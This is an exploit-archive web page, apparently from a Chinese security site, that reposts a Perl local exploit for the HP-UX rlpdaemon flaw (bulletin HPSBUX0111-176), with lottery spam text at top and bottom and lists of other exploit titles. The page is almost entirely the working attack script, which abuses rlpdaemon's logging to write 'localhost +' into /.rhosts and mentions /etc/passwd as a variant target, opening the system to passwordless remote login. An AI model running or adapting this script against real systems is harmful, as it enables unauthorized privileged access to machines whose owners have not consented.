湖北11选5任选分布走势图一定牛
     
首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP-UX rlpdaemon local exploit
来源:http://xforce.iss.net 作者:X-FORCE 发布时间:2014-03-18  
#!/opt/perl5/bin/perl -w

# HP-UX rlpdaemon local exploit
# Bulletin HPSBUX0111-176  (November 2001)
#
# For use only on machines where you have legitimate root.
# This attempts to add junk (including "localhost +") to /.rhosts.
# Obvious variants could include /etc/passwd.

use IO::Socket;

$PORT = 9000;   # pick something not in use

$pid=fork;
die("fork: $!") unless (defined($pid));

if (0 == $pid) {
    # child - server, exec rlpdaemon with chosen argv

    $IPPROTO_TCP=6;
    $SOCK_STREAM=1;
    $AF_INET=2;
    $PF_INET=2;

    $sockaddr='S n a4 x8';  # packed socket data

    $this=pack($sockaddr, $AF_INET, $PORT, "\0\0\0\0") or die("pack: $!");
    socket(S, $PF_INET, $SOCK_STREAM, $IPPROTO_TCP) || die ("socket: $!");
    bind(S, $this) or die("bind: $!");
    listen(S, 5) or die("listen: $!");
    $addr=accept(NS, S);

    # dup2 on 3 standard streams
    open(STDIN, "+<&NS") or die("dup2: $!");
    open(STDOUT, "+>&NS") or die("dup2: $!");
    open(STDERR, "+>&NS") or die("dup2: $!");

    exec {"/usr/sbin/rlpdaemon"}
          "\nlocalhost +\n",
	  "-i", "-l", "-L", "/.rhosts";
    # UNREACHED
    exit(1);
}

sleep 5;   # let server start before we connect to it

# parent - connect to server with loggable action
$remote = IO::Socket::INET->new(
    Proto    => "tcp",
    PeerAddr => "localhost",
    PeerPort => $PORT
)
or die "cannot connect to port $PORT at localhost";

# RFC1179
printf($remote "%clp\n", 2);  # rlpdaemon should log this
close($remote);
exit(0);


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·VideoScript 3.0 <= 4.0.1.50 Of
  相关文章
·Array Networks vxAG / xAPV Pri
·Gold MP4 Player 3.3 - Universa
·NTP Spoofed "monlist query" De
·Trixbox Pro Remote Command Exe
·Quantum vmPRO Backdoor Command
·iOS 7 Arbitrary Code Execution
·Loadbalancer.org Enterprise VA
·OS X / Safari / Firefox REGEX
·MP3Info 0.8.5a - SEH Buffer Ov
·Free Download Manager 3.x Buff
·SePortal 2.5 - SQL Injection V
·MicroP 0.1.1.1600 - (.mppl) Lo
  推荐广告
CopyRight © 2002-2019 VFocuS.Net All Rights Reserved
湖北11选5任选分布走势图一定牛